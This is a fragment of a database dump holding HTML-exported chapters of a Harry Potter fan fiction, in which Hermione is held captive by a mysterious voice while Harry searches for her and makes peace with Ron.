the voice said again. </i></p>\n\n<p>&#8220;Who is that? Who are you?&#8221; she asked again. &#8220;What do you want with me?&#8221; </p>\n\n<p><i>&#8220;So many questions. I always liked that about you, you know. So many questions. Well, you&#8217;ll know the answers in due time,&#8221; he said. </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i>&#8220;I want to know now,&#8221; Hermione said. &#8220;What do you want with me?&#8221; </p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Everything, my dear,&#8221; the voice said. &#8220;Don&#8217;t worry, though. You&#8217;ll know soon enough. And don&#8217;t worry, I&#8217;m sure your boyfriend, or should I say, boyfriends, are looking for you by now. I do hope you enjoyed your time in Hawaii. Such a beautiful place. The two of you were the picture of young love, weren&#8217;t you? And poor, unknowing Mr. Weasley back home without a clue.&#8221; </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i>&#8220;Listen to me,&#8221; Hermione said. &#8220;Tell me what you want.&#8221; </p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I want what Mr. Potter took from me, you silly girl,&#8221; he said, coldly. &#8220;He took everything from me. So, I, in turn, am taking the one thing in this world I know he can&#8217;t live without.&#8221; </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i>&#8220;Harry will find me,&#8221; Hermione said, determinedly. &#8220;You can count on that. He will find me. And when he does you&#8217;ll be very sorry.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;No, my dear, I am counting on it,&#8221; he said. &#8220;What kind of hero would he be if he couldn&#8217;t save the damsel in distress? Or at least die trying, right?&#8221;</i></p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Only a coward would say these things and hide his face,&#8221; Hermione said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;I assure you, my dear, I am not a coward. I&#8217;m just not ready to show my hand just yet. You know that&#8217;s the sign of a good card player, he never shows his hand to early,&#8221; he said. &#8220;Well, get comfortable. You&#8217;ll be here awhile. Goodbye for now.&#8221; </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i>&#8220;Wait!&#8221; Hermione ordered.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; No response came. She cursed as she sat back down on the bed. She said a silent prayer that Harry was safe and that he would find her. She didn&#8217;t like being the &#8220;damsel in distress&#8221;. She prided herself in being the type of girl who didn&#8217;t need a man to bail her out of a jam. She was definitely in one, now. She needed Harry. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Please find me, Harry,&#8221; she whispered. She could feel the tears welling up in her eyes. &#8220;Find me, Harry.&#8221;&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p> '),
	(255, 22, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="ProgId" content="Word.Document">\n\n<meta name="Generator" content="Microsoft Word 10">\n\n<meta name="Originator" content="Microsoft Word 10">\n\n<link rel="File-List" href="Chapter%2022_files/filelist.xml">\n\n<title>Chapter 22 </title>\n\n<xml> Normal 3 77 2003-06-27T01:24:00Z 2003-06-27T01:26:00Z 1 1751 9983 83 23 11711 10.2625 </xml><xml> Clean Clean MicrosoftInternetExplorer4 </xml><object classid="clsid:38481807-CA0E-42D2-BF39-B33AF135CC4D" id="ieooui"></object>\n\n<style> st1\\:*{behavior:url(#ieooui) } </style>\n\n<style>\n\n</style>\n\n<style> /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman";} </style>\n\n<xml>\n\n</xml><xml>\n\n</xml>\n\n\n\n<p>Authors&#8217; note: Thanks again for the reviews! I finished the last chapter the Friday morning before Book Five came out. Now, as I am half way through Book Five---I&#8217;m taking my time to enjoy it---I took a break to write my next chapter. I hope you guys like it. Please review! </p>\n\n<p>Chapter 22</p>\n\n<p>To Sleep Per Chance to Dream </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Somebody should tell him to get some sleep,&#8221; a muffled voice said from the other room. Harry recognized that voice as Remus Lupin&#8217;s. </p>\n\n<p>&#8220;Be my guest,&#8221; another voice said in reply. &#8220;I bet it will go down about as well as someone telling Severus Snape to smile a little more.&#8221;&nbsp;&nbsp; </p>\n\n<p>That voice belonged undoubtedly to Sirus Black. </p>\n\n<p>Harry had just returned from another night out patrolling the streets of <st1:city><st1:place>London</st1:place></st1:city> looking for some sign that would lead him to Hermione. For the past twenty minutes that he&#8217;d been back, he&#8217;d stood outside of the kitchenette eavesdropping on Lupin&#8217;s conversation with Sirius. </p>\n\n<p>It had been two weeks since Hermione had been taken. Despite nearly the entire staff of Aurors and the entire Weasley family working day and night to find her, she was still missing. There were no clues, no ransom notes; nothing which would lead them to her. </p>\n\n<p><br>\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Although he&#8217;d never admit it to anyone, Harry did want to sleep. Sure, he&#8217;d been tired before, but never like this. He was knackered, and was running pretty much on fumes. The thing that kept him going was a fervent belief that she was still alive and was counting on him to find her. If she were dead, he&#8217;d know it in his heart, he&#8217;d feel it in his soul. She was alive. He&#8217;d bet his own life on that fact. </p>\n\n<p>That belief kept him going, kept him awake. He hadn&#8217;t had more than a couple of hours sleep since she&#8217;d disappeared and had eaten very little. Ron had been behaving the same way. </p>\n\n<p>Despite the newfound animosity and hostility between the two of them, both he and Ron had managed to work quite well together. While their temporary ceasefire came about due to mutual concern and love for Hermione, it was no doubt helped along by their keeping their dealings with each other straightforward and businesslike. There was no pretense of the familiar camaraderie that had existed between them for years. They had become almost robotic in their interactions with each other---each seemingly working on autopilot. An outside observer would see the two of them working diligently together and think they were two determined colleagues working toward a common goal, not the lifelong friends they were, or once were, as it had come to pass. What did exist between them now was a sort of unspoken gentleman&#8217;s agreement to put aside their differences for the moment and work together to bring Hermione home, safe and sound. </p>\n\n<p>Harry had grown tired of hearing Lupin and Sirius discuss his mental and emotional state. When he couldn&#8217;t take it any further, he burst through the door and gave them a nod in greeting. They had both stopped talking and looked toward Harry with expressions of pity and concern. </p>\n\n<p>&#8220;Any news?&#8221; Lupin asked, watching as Harry helped himself to a cup of coffee. <br>\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry took a sip of the coffee before answering. </p>\n\n<p>&#8220;No,&#8221; he said solemnly. &#8220;Did you?&#8221; </p>\n\n<p>Lupin shook his head no. &#8220;We combed through her offices again. Everything&#8217;s in tact. Her office and laboratories haven&#8217;t been touched. Her research and journals are still there. Which means-&#8220;</p>\n\n<p>&#8220;Which means they weren&#8217;t after her research like we thought,&#8221; Harry interrupted. &#8220;That was just a smokescreen. They didn&#8217;t want her for her work or her research. They wanted her to get to me.&#8221; </p>\n\n<p>&#8220;You don&#8217;t know that for sure,&#8221; Sirius argued. &#8220;They could have taken her for a number of reasons.&#8221; </p>\n\n<p>&#8220;Being the girlfriend of Harry Potter is probably right atop that list, don&#8217;t you think?&#8221; Harry said bitterly. </p>\n\n<p>&#8220;Harry,&#8221; Sirius began. </p>\n\n<p>&#8220;No, don&#8217;t say it. You know it&#8217;s true. If she&#8217;d never met me, she&#8217;d probably be happy and alive without a care in the world. She&#8217;d be tucked away in her lab or her office or fighting for house elves rights or something like that,&#8221; Harry spat out. &#8220;She wouldn&#8217;t have had to be constantly in danger. She wouldn&#8217;t have had to keep looking over her shoulder to see what bad thing would happen next. She certainly wouldn&#8217;t be in the position she&#8217;s in now. You know that bastard who took her is just using her as a pawn. She means nothing to him. He took her to get back at me, and for what?&#8221; </p>\n\n<p>&#8220;She loves you, Harry,&#8221; Sirius said, seriously. &#8220;And to quote The Beatles, if I could, &#8216;she loves you, and you know that can&#8217;t be bad&#8217;.&#8221; </p>\n\n<p>Harry looked at his godfather incredulously. &#8220;What?&#8221; </p>\n\n<p>&#8220;The Beatles,&#8221; Sirius said. &#8220;I&#8217;m sure you&#8217;ve heard of them.&#8221; </p>\n\n<p>&#8220;Yeah, I&#8217;ve bloody well heard of them,&#8221; Harry said, staring at him. &#8220;We&#8217;re trying to find Hermione and you&#8217;re quoting Beatles&#8217; lyrics?&#8221;</p>\n\n<p>&#8220;Yeah,&#8221; Sirius said. &#8220;And you&#8217;re not trying to find Hermione now, are you? You&#8217;re standing here feeling sorry for yourself and it&#8217;s not doing you or she any good, is it? You have been running yourself ragged, going around all maudlin and exhausted. You aren&#8217;t helping her by doing this, Harry, not at all.&#8221; </p>\n\n<p>Harry&#8217;s mouth had fallen open as he&#8217;d listened to Sirius. When Harry didn&#8217;t reply to Sirius, Sirius walked over the potion cabinet and pulled out a bottle labeled, &#8220;Sleeping Draught.&#8221; </p>\n\n<p>&#8220;So what you are going to do, Harry,&#8221; Sirius said, popping the cork off the top of the bottle, &#8220;is drink this potion and go in that room and take a nap.&#8221; </p>\n\n<p>&#8220;No, I&#8217;m not,&#8221; Harry said firmly. &#8220;I&#8217;ve got some leads to follow up on.&#8221; </p>\n\n<p>&#8220;Drink,&#8221; Sirius said. He thrust the bottle at Harry. &#8220;Drink it. Come off of it, Harry. If Hermione were here, she&#8217;d tell you the same thing as I am. She&#8217;d tell you to get your sorry arse some rest.&#8221;</p>\n\n<p>Harry continued to look at Sirius in utter amazement. &#8220;I doubt she&#8217;d be that crass.&#8221; </p>\n\n<p>&#8220;Drink,&#8221; Sirius said, pushing the bottle at him again. </p>\n\n<p>&#8220;Oh, all right,&#8221; Harry said, taking the bottle. &#8220;But you promise me, right now, that if anything happens, you will wake me up straightaway.&#8221; </p>\n\n<p>&#8220;You have my word,&#8221; Sirius said. &#8220;You are just as stubborn and hardheaded as your dad was.&#8221; </p>\n\n<p>Harry smirked as he took the potion to his mouth and took a swig. He gave his godfather another look of displeasure as he handed the potion back to him and walked toward the cot room. </p>\n\n<p>He could feel the warm effects of the potion as it began to take effect. He lay down on one of the cots and closed his eyes. He thought of her once more as he finally gave into the exhaustion that had consumed him. </p>\n\n<p>Hermione had spent the majority of her time in captivity entertaining alternate thoughts of escape and of Harry.&nbsp; </p>\n\n<p>She knew that he was looking for her and she had an almost blind faith that he would find her. What scared her, however, was that neither she, nor Harry, knew what he would find when he finally got here. </p>\n\n<p>Without her wand, escape was pretty much out of the question. She was helpless. She had no idea where she was, who was keeping her here or why she was here, other than someone&#8217;s twisted way of getting back at Harry. Her only true course of action was to try and study her captor&#8217;s moves and motives. By doing this, maybe she&#8217;d uncover some sort of weakness that would help her escape somehow or get word to Harry. </p>\n\n<p>This was an excellent theory in thought, but so far it had proved futile. She hadn&#8217;t seen nor heard from her captor since her first night here. Her days and evenings had taken on a sort of routine. Every morning at 7, a tray of food would appear on the table beside her bed. This would be repeated at <st1:time minute="0" hour="12">noon</st1:time> and then at six every evening. </p>\n\n<p>She did have an inkling that her captor must know her well, as he had provided a number of books and novels for her to read. Some of the books were classic literature by Jane Austen, Charlotte Bronte, and Emily Bronte. There were also contemporary novels by American authors Ernest Hemingway and John Steinbeck. There were also some Shakespearean sonnets and plays. He&#8217;d even included <i>Hogwarts: A History. </i>&nbsp;</p>\n\n<p>She had just finished her dinner when the cold, chilling voice came again into the room. </p>\n\n<p>&#8220;I trust you&#8217;ve been comfortable,&#8221; he said. </p>\n\n<p>Hermione quickly got up from the table and looked around the room. &#8220;Where are you?&#8221; she asked. &#8220;Who are you?&#8221; </p>\n\n<p>The voice cackled. &#8220;No, my dear, it&#8217;s not time for that just yet. I do have some good news for you, though. Both Potter and Weasley are looking for you. It&#8217;s quite touching, actually. You should see it.&#8221; </p>\n\n<p>&#8220;What do you want from us?&#8221; Hermione shouted back at him. </p>\n\n<p>&#8220;I told you,&#8221; the voice said again. &#8220;All will reveal itself in time. Harry Potter took something from me a long time ago. I, in turn, have taken something from him. Quid Pro Quo.&#8221; </p>\n\n<p>&#8220;You won&#8217;t win,&#8221; Hermione said determinedly.</p>\n\n<p>His sinister laugh filled the room again. Hermione shuddered at the sound of his laughter. </p>\n\n<p>&#8220;I&#8217;m well ahead now, Miss Granger,&#8221; he said coolly. &#8220;I&#8217;ve grown tired of this. Enjoy your stay.&#8221; </p>\n\n<p>With that, the voice was gone. Hermione was left along again with her thoughts. </p>\n\n<p>&#8220;Who could this be?&#8221; she thought aloud. It couldn&#8217;t be Lord Voldemort. He&#8217;d been killed by Harry many years ago. Maybe it was a Death Eater, she thought. Maybe it&#8217;s someone he encountered as an Auror?&nbsp; </p>\n\n<p>She hated this feeling of helplessness that had come over her. She hated not knowing the answer. She looked at the books that lay on the table. All her life she&#8217;d found the answers in books. These books couldn&#8217;t help her now. </p>\n\n<p>She walked back over to her bed and sat down. She hugged her knees to her chest. </p>\n\n<p>&#8220;I love you, Harry,&#8221; she whispered. &#8220;You can find me, I know you can. You can find me.&#8221; </p>\n\n<p>Meanwhile, a hundred miles away, Harry slept, peacefully. He was having a wonderful dream. He was walking along a beach, much like the ones in <st1:state><st1:place>Hawaii</st1:place></st1:state>, but he was alone. It was nighttime, but the air was crisp and fresh. As he kept walking, he noticed lights coming from further down the beach. </p>\n\n<p>He picked up his pace as he went further to investigate. As he got closer, he saw that there was a ring of white candles surrounding a small bonfire. A young woman was sitting with her back to him on a blanket. Her long brown hair was blowing in the breeze. Harry could feel his heart leap at the sight of her. He knew who that woman was. It was Hermione! She was wearing a beautiful blue sundress and as she turned to face him, he could see that she had a bouquet of daisies in her lap and had placed one of the daisies in her hair, behind her ear. She smiled brightly at him. </p>\n\n<p>He ran toward the fire and called her name as he finally reached her. He tried to walk past the ring of candles to her, but he couldn&#8217;t get through. There was some sort of invisible shield blocking him from being able to get through to her. He screamed in frustration. </p>\n\n<p>&#8220;I can&#8217;t get through, Hermione!&#8221; he exclaimed. He reached for his wand, but his spirits fell even further when he realized he didn&#8217;t have it with him. &#8220;I can&#8217;t get through!&#8221; </p>\n\n<p>She stood up and walked toward him. They were merely a few inches away from each other, but couldn&#8217;t touch. </p>\n\n<p>&#8220;You can find me,&#8221; she whispered. &#8220;You can find a way to get through. I know you can. I believe in you like you believe in me, right?&#8221; </p>\n\n<p>She reached up and pulled the daisy out from behind her ear and held it out toward Harry. He tried to reach for it, and to his horror, she disappeared. </p>\n\n<p>He was all along on the beach, holding Hermione&#8217;s daisy. </p>\n\n<p>&#8220;Hermione!&#8221; he screamed. &#8220;Hermione!&#8221; </p>\n\n<p>He awoke in a cold sweat. He was all alone in the room at Auror headquarters. It had been a dream. </p>\n\n<p>Rubbing his eyes and getting up into a sitting position on the cot, he reached for his glasses on the floor beside the cot. He put his glasses on, and noticed for the first time that there was a single, white daisy laying on the floor beside his cot. </p>\n\n<p>Hermione&#8217;s daisy. </p> '),
	(255, 23, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="ProgId" content="Word.Document">\n\n<meta name="Generator" content="Microsoft Word 10">\n\n<meta name="Originator" content="Microsoft Word 10">\n\n<link rel="File-List" href="Chapter%2023_files/filelist.xml">\n\n<title>Chapter 23</title>\n\n<xml> Normal 2 91 2003-07-01T00:42:00Z 2003-07-01T02:13:00Z 1 1994 11372 94 26 13340 10.2625 </xml><xml> Clean Clean MicrosoftInternetExplorer4 </xml><object classid="clsid:38481807-CA0E-42D2-BF39-B33AF135CC4D" id="ieooui"></object>\n\n<style> st1\\:*{behavior:url(#ieooui) } </style>\n\n<style>\n\n</style>\n\n<style> /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman";} </style>\n\n<xml>\n\n</xml><xml>\n\n</xml>\n\n\n\n<p>Authors&#8217; Note: <br>\n\n\n<br>\n Well, you guys, I hope you enjoy the latest chapter. I still haven&#8217;t finished book five---I&#8217;m up to chapter 27----still taking my time. Please read and review! </p>\n\n<p>Chapter 23</p>\n\n<p>Revelations</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The days continued to pass, but for Harry, time had seemed to come to a standstill. He still wasn&#8217;t eating or sleeping as much as he should, but he didn&#8217;t really care. He didn&#8217;t seem to care about much of anything anymore, other than finding Hermione. He&#8217;d been working nearly nonstop around the clock to find her, but had nothing more to show from it other than a short temper and dark circles under his eyes. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Inside he was falling apart bit by bit each day. On the outside, he tried to put on a brave front. That was what everyone expected of him. He had to be strong for everyone else. It was one of the hardest things he&#8217;d ever had to do. Each day, he contacted Hermione&#8217;s parents to let them know about any developments. Each day his heart broke to see the sadness that would fall over their faces when he told them they had nothing new to report. They never said it, but he felt that they somehow blamed him for this turn of events. He didn&#8217;t fault them for this. He knew he was responsible for the mess that Hermione was now in. He was also going to be responsible for getting her out of it. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As he&#8217;d finished his nightly investigation, he contemplated going back to headquarters, but didn&#8217;t want to see Lupin and Sirius. He knew they&#8217;d nag him about getting sleep or grabbing a bite to eat. He wasn&#8217;t in the mood for them tonight. </p>\n\n<p>Being as no one besides aurors were allowed at headquarters, Hermione&#8217;s office at The Ministry had become the hub of the search effort. The place was usually teeming with activity as various friends and family had met there to await news, organize searches or gather information. As it was now <st1:time minute="0" hour="14">two o&#8217;clock</st1:time> in the morning, the office was deserted. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry peered inside the office before going inside, the room was dark and empty. He gave a sigh of relief as he sat down on the couch. He leaned way back on the couch and closed his eyes. He sat there resting for a few minutes when a familiar voice interrupted his nap. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh, sorry, I didn&#8217;t know anyone would be here.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry looked up to see a haggard-looking Ron standing in the doorway. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; Harry said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, I won&#8217;t disturb you,&#8221; Ron said, coolly. He turned to walk away. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Wait, Ron!&#8221; Harry said. &#8220;You don&#8217;t have to leave on my account.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron looked uncertainly at Harry, but to Harry&#8217;s surprise, he walked inside the office and sat down on one of Hermione&#8217;s desk chairs. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The room was filled with a somewhat deafening silence and Harry and Ron stared at each other awkwardly. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So what are you doing here, then?&#8221; Ron finally asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hiding from Sirius and Lupin,&#8221; Harry said, with a slight laugh. &#8220;They&#8217;re ruthless. They&#8217;ve become the sleep and eat police, hovering around asking me if I&#8217;ve eaten or if I&#8217;ve slept. They&#8217;re driving me mad.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron laughed. &#8220;They&#8217;ve got nothing on my mum. She slipped some sort of sleeping potion in my dinner the other night. I slept for two days. Anyway, I thought I&#8217;d come here to get some peace and quiet away from her. And to be somewhere where I felt close to Hermione, you know?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; Harry said, smiling wistfully. &#8220;I know exactly what you mean.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; This was followed by another somewhat awkward silence. Again, Ron broke the silence, this time with a laugh. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What are you laughing about?&#8221; Harry asked him. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I was just thinking of that time,&#8221; Ron began, &#8220;after the first task in the Triwizard Tournament when you and I made up. Do you remember what she did?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry smiled. &#8220;Yeah, I remember. She cried like a baby said we were both so stupid and then gave us both a hug and then walked away crying like a banshee.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;Ron laughed heartily. &#8220;And you remember her bursting in the train compartment that first day?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron cleared his throat and with a fair imitation of Hermione said, &#8220;Has anyone seen a toad? Neville&#8217;s lost one.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>\n &#8221;She came in talking a mile a minute,&#8221; Harry said. &#8220;It seems like such a lifetime ago, doesn&#8217;t it?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron&#8217;s expression became much more serious. &#8220;Yeah, it does. If we knew then, what we know now.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It was quiet again as each of them sat there, a swirl of memories in their heads.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t know if I&#8217;ll ever be able to forgive you, Harry, for what you did,&#8221; Ron said finally. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m not asking you to, Ron,&#8221; Harry said. &#8220;We didn&#8217;t handle this very well.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, you didn&#8217;t,&#8221; Ron said coolly. &#8220;I should have seen it, though. She was pretty broken up after you left. She never said anything about the two of you being more than friends, then. I always suspected though, deep down. You could see it in the way her eyes would light up when she talked about you or when someone mentioned your name. It&#8217;s always been that way, you know? Krum saw it. &nbsp;Cho Chang saw it. Even Rita Skeeter saw it.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ron,&#8221; Harry interrupted. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron held up his hand. &#8220;Let me finish. I wasn&#8217;t fair to her, either, you know? I did sort of treat her like a prize. It was like I finally had something that you didn&#8217;t have. It hasn&#8217;t been easy you know being your faithful sidekick. No guts, no glory, right?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You know I never asked for any of this,&#8221; Harry said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know,&#8221; Ron said. &#8220;It&#8217;s part of who you are.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry didn&#8217;t know what to say. He looked down at the floor. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron continued. &#8220;All I&#8217;m saying is that I may never be able to forgive you for what you did, but I think we both want the same thing. We want Hermione to be happy. If being with you makes her happy, then that&#8217;s the way it&#8217;s going to be. The important thing is that we bring her home.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry looked up from the floor to see Ron holding out his hand. Harry offered his hand and they shook on it. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221; Harry said, with a smile. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221; Ron said. He walked over to the desk to help himself to some of the coffee, but spit it out. &#8220;That is the worst stuff I&#8217;ve ever tasted in my life. I&#8217;d rather drink a pint of Polyjuice Potion than drink that. Yechhh!&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry laughed. &#8220;I&#8217;m sure that could be arranged.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&#8220;So, how&#8217;s Ginny?&#8221; Harry asked him a few minutes later. &nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh, she&#8217;s doing well,&#8221; Ron said, smiling. &#8220;I just saw her this morning at St. Mungo&#8217;s. Draco said that she and the baby should be able to come home in the next couple of days.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Did they finally decide on a name?&#8221; Harry asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; Ron said, laughing. &#8220;Get the name they laid on the poor little bugger. <st1:city><st1:place>Lawrence</st1:place></st1:city>. Albert. Malfoy.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 